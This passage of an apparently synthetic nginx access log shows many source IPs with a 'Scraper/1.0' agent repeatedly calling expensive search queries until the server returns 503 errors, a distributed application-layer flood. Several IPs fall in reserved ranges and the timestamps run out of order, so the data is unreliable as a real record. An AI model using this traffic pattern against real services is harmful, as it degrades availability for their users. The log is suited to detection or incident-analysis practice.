/api/v1/user/156 HTTP/1.1" 200 987 "-" "Mozilla/5.0" +Aug 15 14:32:00 web-app-nginx 192.168.1.31 - - [15/Aug/2025:14:32:00 +0000] "GET /api/v1/orders HTTP/1.1" 200 685 "-" "Mozilla/5.0" +Aug 15 14:32:15 web-app-nginx 192.168.1.39 - - [15/Aug/2025:14:32:15 +0000] "GET /api/v1/user/306 HTTP/1.1" 200 1469 "-" "Mozilla/5.0" +Aug 15 14:32:29 web-app-nginx 184.175.244.219 - - [15/Aug/2025:14:32:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 188 "-" "Scraper/1.0" +Aug 15 14:32:26 web-app-nginx 29.144.137.206 - - [15/Aug/2025:14:32:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 358 "-" "Scraper/1.0" +Aug 15 14:32:29 web-app-nginx 228.20.232.179 - - [15/Aug/2025:14:32:29 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 398 "-" "Scraper/1.0" +Aug 15 14:32:25 web-app-nginx 253.87.215.178 - - [15/Aug/2025:14:32:25 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 350 "-" "Scraper/1.0" +Aug 15 14:32:29 web-app-nginx 179.232.167.94 - - [15/Aug/2025:14:32:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 172 "-" "Scraper/1.0" +Aug 15 14:32:28 web-app-nginx 16.38.140.107 - - [15/Aug/2025:14:32:28 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 356 "-" "Scraper/1.0" +Aug 15 14:32:27 web-app-nginx 11.231.190.15 - - [15/Aug/2025:14:32:27 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 357 "-" "Scraper/1.0" +Aug 15 14:32:27 web-app-nginx 153.56.217.213 - - [15/Aug/2025:14:32:27 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 495 "-" "Scraper/1.0" +Aug 15 14:32:28 web-app-nginx 183.138.89.139 - - [15/Aug/2025:14:32:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 470 "-" "Scraper/1.0" +Aug 15 14:32:29 web-app-nginx 69.209.102.112 - - [15/Aug/2025:14:32:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 170 "-" "Scraper/1.0" +Aug 15 14:32:28 web-app-nginx 44.9.177.176 - - [15/Aug/2025:14:32:28 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 236 "-" "Scraper/1.0" +Aug 15 14:32:26 web-app-nginx 98.7.75.138 - - [15/Aug/2025:14:32:26 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 442 "-" "Scraper/1.0" +Aug 15 14:32:28 web-app-nginx 146.227.117.240 - - [15/Aug/2025:14:32:28 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 170 "-" "Scraper/1.0" +Aug 15 14:32:26 web-app-nginx 206.62.129.138 - - [15/Aug/2025:14:32:26 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 282 "-" "Scraper/1.0" +Aug 15 14:32:32 web-app-nginx 67.53.113.209 - - [15/Aug/2025:14:32:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 416 "-" "Scraper/1.0" +Aug 15 14:32:30 web-app-nginx 208.125.187.108 - - [15/Aug/2025:14:32:30 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 344 "-" "Scraper/1.0" +Aug 15 14:32:32 web-app-nginx 147.7.70.182 - - [15/Aug/2025:14:32:32 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 178 "-" "Scraper/1.0" +Aug 15 14:32:31 web-app-nginx 124.232.207.28 - - [15/Aug/2025:14:32:31 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 231 "-" "Scraper/1.0" +Aug 15 14:32:30 web-app-nginx 85.93.129.87 - - [15/Aug/2025:14:32:30 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 338 "-" "Scraper/1.0" +Aug 15 14:32:30 web-app-nginx 154.228.207.2 - - [15/Aug/2025:14:32:30 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 262 "-" "Scraper/1.0" +Aug 15 14:32:34 web-app-nginx 33.204.153.222 - - [15/Aug/2025:14:32:34 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 233 "-" "Scraper/1.0" +Aug 15 14:32:33 web-app-nginx 169.48.41.50 - - [15/Aug/2025:14:32:33 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 150 "-" "Scraper/1.0" +Aug 15 14:32:32 web-app-nginx 150.81.158.247 - - [15/Aug/2025:14:32:32 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 180 "-" "Scraper/1.0" +Aug 15 14:32:34 web-app-nginx 244.107.52.157 - - [15/Aug/2025:14:32:34 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 193 "-" "Scraper/1.0" +Aug 15 14:32:33 web-app-nginx 200.1.173.205 - - [15/Aug/2025:14:32:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 272 "-" "Scraper/1.0" +Aug 15 14:32:33 web-app-nginx 25.15.84.190 - - [15/Aug/2025:14:32:33 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 136 "-" "Scraper/1.0" +Aug 15 14:32:32 web-app-nginx 205.77.66.30 - - [15/Aug/2025:14:32:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 200 "-" "Scraper/1.0" +Aug 15 14:32:33 web-app-nginx 160.112.219.209 - - [15/Aug/2025:14:32:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 447 "-" "Scraper/1.0" +Aug 15 14:32:39 web-app-nginx 127.254.88.243 - - [15/Aug/2025:14:32:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 135 "-" "Scraper/1.0" +Aug 15 14:32:36 web-app-nginx 185.20.244.188 - - [15/Aug/2025:14:32:36 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 239 "-" "Scraper/1.0" +Aug 15 14:32:35 web-app-nginx 183.144.2.135 - - [15/Aug/2025:14:32:35 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 427 "-" "Scraper/1.0" +Aug 15 14:32:38 web-app-nginx 181.173.190.86 - - [15/Aug/2025:14:32:38 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 136 "-" "Scraper/1.0" +Aug 15 14:32:39 web-app-nginx 173.142.117.42 - - [15/Aug/2025:14:32:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 341 "-" "Scraper/1.0" +Aug 15 14:32:35 web-app-nginx 83.238.34.42 - - [15/Aug/2025:14:32:35 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 372 "-" "Scraper/1.0" +Aug 15 14:32:35 web-app-nginx 194.237.36.6 - - [15/Aug/2025:14:32:35 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 142 "-" "Scraper/1.0" +Aug 15 14:32:36 web-app-nginx 52.38.181.110 - - [15/Aug/2025:14:32:36 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 442 "-" "Scraper/1.0" +Aug 15 14:32:44 web-app-nginx 137.71.7.44 - - [15/Aug/2025:14:32:44 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 279 "-" "Scraper/1.0" +Aug 15 14:32:41 web-app-nginx 163.114.48.119 - - [15/Aug/2025:14:32:41 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 308 "-" "Scraper/1.0" +Aug 15 14:32:43 web-app-nginx 19.21.55.75 - - [15/Aug/2025:14:32:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 262 "-" "Scraper/1.0" +Aug 15 14:32:43 web-app-nginx 233.138.209.20 - - [15/Aug/2025:14:32:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 193 "-" "Scraper/1.0" +Aug 15 14:32:42 web-app-nginx 162.219.244.44 - - [15/Aug/2025:14:32:42 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 191 "-" "Scraper/1.0" +Aug 15 14:32:44 web-app-nginx 130.53.77.68 - - [15/Aug/2025:14:32:44 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 390 "-" "Scraper/1.0" +Aug 15 14:32:41 web-app-nginx 91.16.179.185 - - [15/Aug/2025:14:32:41 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 121 "-" "Scraper/1.0" +Aug 15 14:32:41 web-app-nginx 225.220.47.22 - - [15/Aug/2025:14:32:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 327 "-" "Scraper/1.0" +Aug 15 14:32:40 web-app-nginx 215.84.130.82 - - [15/Aug/2025:14:32:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 255 "-" "Scraper/1.0" +Aug 15 14:32:44 web-app-nginx 248.4.12.199 - - [15/Aug/2025:14:32:44 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 373 "-" "Scraper/1.0" +Aug 15 14:32:43 web-app-nginx 42.214.105.108 - - [15/Aug/2025:14:32:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 189 "-" "Scraper/1.0" +Aug 15 14:32:40 web-app-nginx 117.4.249.66 - - [15/Aug/2025:14:32:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 491 "-" "Scraper/1.0" +Aug 15 14:32:45 web-app-nginx 143.103.187.194 - - [15/Aug/2025:14:32:45 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 336 "-" "Scraper/1.0" +Aug 15 14:32:49 web-app-nginx 254.141.231.93 - - [15/Aug/2025:14:32:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 150 "-" "Scraper/1.0" +Aug 15 14:32:49 web-app-nginx 74.15.92.114 - - [15/Aug/2025:14:32:49 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 342 "-" "Scraper/1.0" +Aug 15 14:32:47 web-app-nginx 148.138.253.212 - - [15/Aug/2025:14:32:47 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 433 "-" "Scraper/1.0" +Aug 15 14:32:48 web-app-nginx 249.213.56.75 - - [15/Aug/2025:14:32:48 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 236 "-" "Scraper/1.0" +Aug 15 14:32:49 web-app-nginx 80.88.139.8 - - [15/Aug/2025:14:32:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 241 "-" "Scraper/1.0" +Aug 15 14:32:46 web-app-nginx 85.174.27.237 - - [15/Aug/2025:14:32:46 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 236 "-" "Scraper/1.0" +Aug 15 14:32:46 web-app-nginx 189.228.122.121 - - [15/Aug/2025:14:32:46 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 283 "-" "Scraper/1.0" +Aug 15 14:32:50 web-app-nginx 161.49.176.24 - - [15/Aug/2025:14:32:50 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 452 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 36.11.27.124 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 216 "-" "Scraper/1.0" +Aug 15 14:32:50 web-app-nginx 19.108.206.30 - - [15/Aug/2025:14:32:50 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 148 "-" "Scraper/1.0" +Aug 15 14:32:53 web-app-nginx 32.2.12.116 - - [15/Aug/2025:14:32:53 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 363 "-" "Scraper/1.0" +Aug 15 14:32:52 web-app-nginx 130.55.145.32 - - [15/Aug/2025:14:32:52 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 300 "-" "Scraper/1.0" +Aug 15 14:32:51 web-app-nginx 226.202.146.93 - - [15/Aug/2025:14:32:51 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 318 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 77.224.142.128 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 185 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 10.197.17.182 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 260 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 204.95.235.169 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 228 "-" "Scraper/1.0" +Aug 15 14:32:51 web-app-nginx 27.198.92.101 - - [15/Aug/2025:14:32:51 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 303 "-" "Scraper/1.0" +Aug 15 14:32:51 web-app-nginx 207.129.18.25 - - [15/Aug/2025:14:32:51 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 462 "-" "Scraper/1.0" +Aug 15 14:32:52 web-app-nginx 23.174.176.119 - - [15/Aug/2025:14:32:52 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 464 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 138.6.28.219 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 361 "-" "Scraper/1.0" +Aug 15 14:32:57 web-app-nginx 244.159.182.140 - - [15/Aug/2025:14:32:57 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 233 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 187.116.127.46 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 470 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 43.73.107.220 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 343 "-" "Scraper/1.0" +Aug 15 14:32:57 web-app-nginx 24.42.129.121 - - [15/Aug/2025:14:32:57 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 398 "-" "Scraper/1.0" +Aug 15 14:32:56 web-app-nginx 249.19.64.234 - - [15/Aug/2025:14:32:56 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 337 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 141.73.110.142 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 357 "-" "Scraper/1.0" +Aug 15 14:32:59 web-app-nginx 12.221.157.220 - - [15/Aug/2025:14:32:59 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 289 "-" "Scraper/1.0" +Aug 15 14:32:57 web-app-nginx 198.111.88.52 - - [15/Aug/2025:14:32:57 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 187 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 248.30.69.110 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 474 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 216.35.23.132 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 424 "-" "Scraper/1.0" +Aug 15 14:32:56 web-app-nginx 174.240.211.238 - - [15/Aug/2025:14:32:56 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 205 "-" "Scraper/1.0" +Aug 15 14:32:56 web-app-nginx 71.70.141.211 - - [15/Aug/2025:14:32:56 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 375 "-" "Scraper/1.0" +Aug 15 14:32:59 web-app-nginx 82.5.167.167 - - [15/Aug/2025:14:32:59 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 118 "-" "Scraper/1.0" +Aug 15 14:33:00 web-app-nginx 68.101.209.164 - - [15/Aug/2025:14:33:00 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 321 "-" "Scraper/1.0" +Aug 15 14:33:04 web-app-nginx 64.147.115.149 - - [15/Aug/2025:14:33:04 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 359 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 159.61.205.185 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 424 "-" "Scraper/1.0" +Aug 15 14:33:01 web-app-nginx 160.216.28.197 - - [15/Aug/2025:14:33:01 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 474 "-" "Scraper/1.0" +Aug 15 14:33:02 web-app-nginx 89.177.149.251 - - [15/Aug/2025:14:33:02 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 349 "-" "Scraper/1.0" +Aug 15 14:33:00 web-app-nginx 43.23.117.217 - - [15/Aug/2025:14:33:00 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 131 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 239.100.240.32 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 180 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 65.85.109.17 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 387 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 235.88.151.32 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 135 "-" "Scraper/1.0" +Aug 15 14:33:04 web-app-nginx 30.246.143.174 - - [15/Aug/2025:14:33:04 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 280 "-" "Scraper/1.0" +Aug 15 14:33:00 web-app-nginx 5.208.161.179 - - [15/Aug/2025:14:33:00 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 462 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 5.103.108.176 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 334 "-" "Scraper/1.0" +Aug 15 14:33:07 web-app-nginx 24.221.216.211 - - [15/Aug/2025:14:33:07 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 110 "-" "Scraper/1.0" +Aug 15 14:33:08 web-app-nginx 184.91.109.246 - - [15/Aug/2025:14:33:08 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 170 "-" "Scraper/1.0" +Aug 15 14:33:07 web-app-nginx 161.140.25.219 - - [15/Aug/2025:14:33:07 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 349 "-" "Scraper/1.0" +Aug 15 14:33:08 web-app-nginx 33.63.70.76 - - [15/Aug/2025:14:33:08 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 296 "-" "Scraper/1.0" +Aug 15 14:33:09 web-app-nginx 139.76.45.133 - - [15/Aug/2025:14:33:09 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 319 "-" "Scraper/1.0" +Aug 15 14:33:06 web-app-nginx 2.128.133.61 - - [15/Aug/2025:14:33:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 494 "-" "Scraper/1.0" +Aug 15 14:33:07 web-app-nginx 214.91.236.168 - - [15/Aug/2025:14:33:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 454 "-" "Scraper/1.0" +Aug 15 14:33:08 web-app-nginx 112.109.14.137 - - [15/Aug/2025:14:33:08 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 500 "-" "Scraper/1.0" +Aug 15 14:33:13 web-app-nginx 237.74.170.140 - - [15/Aug/2025:14:33:13 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 114 "-" "Scraper/1.0" +Aug 15 14:33:12 web-app-nginx 200.225.19.130 - - [15/Aug/2025:14:33:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 174 "-" "Scraper/1.0" +Aug 15 14:33:10 web-app-nginx 209.169.120.76 - - [15/Aug/2025:14:33:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 201 "-" "Scraper/1.0" +Aug 15 14:33:10 web-app-nginx 16.215.135.241 - - [15/Aug/2025:14:33:10 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 388 "-" "Scraper/1.0" +Aug 15 14:33:10 web-app-nginx 121.22.134.247 - - [15/Aug/2025:14:33:10 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 304 "-" "Scraper/1.0" +Aug 15 14:33:12 web-app-nginx 11.115.86.238 - - [15/Aug/2025:14:33:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 448 "-" "Scraper/1.0" +Aug 15 14:33:10 web-app-nginx 225.112.227.133 - - [15/Aug/2025:14:33:10 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 194 "-" "Scraper/1.0" +Aug 15 14:33:12 web-app-nginx 15.68.197.40 - - [15/Aug/2025:14:33:12 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 408 "-" "Scraper/1.0" +Aug 15 14:33:12 web-app-nginx 45.205.200.202 - - [15/Aug/2025:14:33:12 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 446 "-" "Scraper/1.0" +Aug 15 14:33:11 web-app-nginx 219.14.58.197 - - [15/Aug/2025:14:33:11 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 196 "-" "Scraper/1.0" +Aug 15 14:33:11 web-app-nginx 49.170.51.159 - - [15/Aug/2025:14:33:11 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 403 "-" "Scraper/1.0" +Aug 15 14:33:13 web-app-nginx 26.172.234.201 - - [15/Aug/2025:14:33:13 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 191 "-" "Scraper/1.0" +Aug 15 14:33:19 web-app-nginx 113.137.39.9 - - [15/Aug/2025:14:33:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 156 "-" "Scraper/1.0" +Aug 15 14:33:15 web-app-nginx 150.211.10.61 - - [15/Aug/2025:14:33:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 180 "-" "Scraper/1.0" +Aug 15 14:33:16 web-app-nginx 34.17.93.37 - - [15/Aug/2025:14:33:16 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 325 "-" "Scraper/1.0" +Aug 15 14:33:18 web-app-nginx 19.212.154.7 - - [15/Aug/2025:14:33:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 235 "-" "Scraper/1.0" +Aug 15 14:33:16 web-app-nginx 70.83.169.190 - - [15/Aug/2025:14:33:16 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 211 "-" "Scraper/1.0" +Aug 15 14:33:17 web-app-nginx 17.129.145.159 - - [15/Aug/2025:14:33:17 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 336 "-" "Scraper/1.0" +Aug 15 14:33:16 web-app-nginx 52.228.18.23 - - [15/Aug/2025:14:33:16 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 100 "-" "Scraper/1.0" +Aug 15 14:33:18 web-app-nginx 169.183.133.245 - - [15/Aug/2025:14:33:18 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 408 "-" "Scraper/1.0" +Aug 15 14:33:19 web-app-nginx 57.179.243.176 - - [15/Aug/2025:14:33:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 451 "-" "Scraper/1.0" +Aug 15 14:33:17 web-app-nginx 3.82.95.142 - - [15/Aug/2025:14:33:17 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 363 "-" "Scraper/1.0" +Aug 15 14:33:15 web-app-nginx 51.19.247.89 - - [15/Aug/2025:14:33:15 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 367 "-" "Scraper/1.0" +Aug 15 14:33:16 web-app-nginx 131.9.49.237 - - [15/Aug/2025:14:33:16 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 276 "-" "Scraper/1.0" +Aug 15 14:33:17 web-app-nginx 194.52.124.189 - - [15/Aug/2025:14:33:17 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 107 "-" "Scraper/1.0" +Aug 15 14:33:17 web-app-nginx 36.66.234.202 - - [15/Aug/2025:14:33:17 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 365 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 129.122.95.237 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 485 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 80.155.175.169 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 372 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 252.229.150.187 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 305 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 40.118.151.238 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 435 "-" "Scraper/1.0" +Aug 15 14:33:22 web-app-nginx 89.32.100.171 - - [15/Aug/2025:14:33:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 390 "-" "Scraper/1.0" +Aug 15 14:33:21 web-app-nginx 158.121.10.133 - - [15/Aug/2025:14:33:21 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 493 "-" "Scraper/1.0" +Aug 15 14:33:20 web-app-nginx 123.115.121.248 - - [15/Aug/2025:14:33:20 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 107 "-" "Scraper/1.0" +Aug 15 14:33:21 web-app-nginx 241.83.203.230 - - [15/Aug/2025:14:33:21 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 225 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 240.253.133.109 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 469 "-" "Scraper/1.0" +Aug 15 14:33:22 web-app-nginx 133.26.7.128 - - [15/Aug/2025:14:33:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 329 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 7.96.244.173 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 227 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 216.43.228.75 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 154 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 71.131.12.133 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 434 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 243.137.208.195 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 123 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 56.68.181.161 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 248 "-" "Scraper/1.0" +Aug 15 14:33:27 web-app-nginx 84.122.3.107 - - [15/Aug/2025:14:33:27 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 254 "-" "Scraper/1.0" +Aug 15 14:33:26 web-app-nginx 139.121.146.81 - - [15/Aug/2025:14:33:26 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 328 "-" "Scraper/1.0" +Aug 15 14:33:27 web-app-nginx 191.82.213.250 - - [15/Aug/2025:14:33:27 +0000] "GET 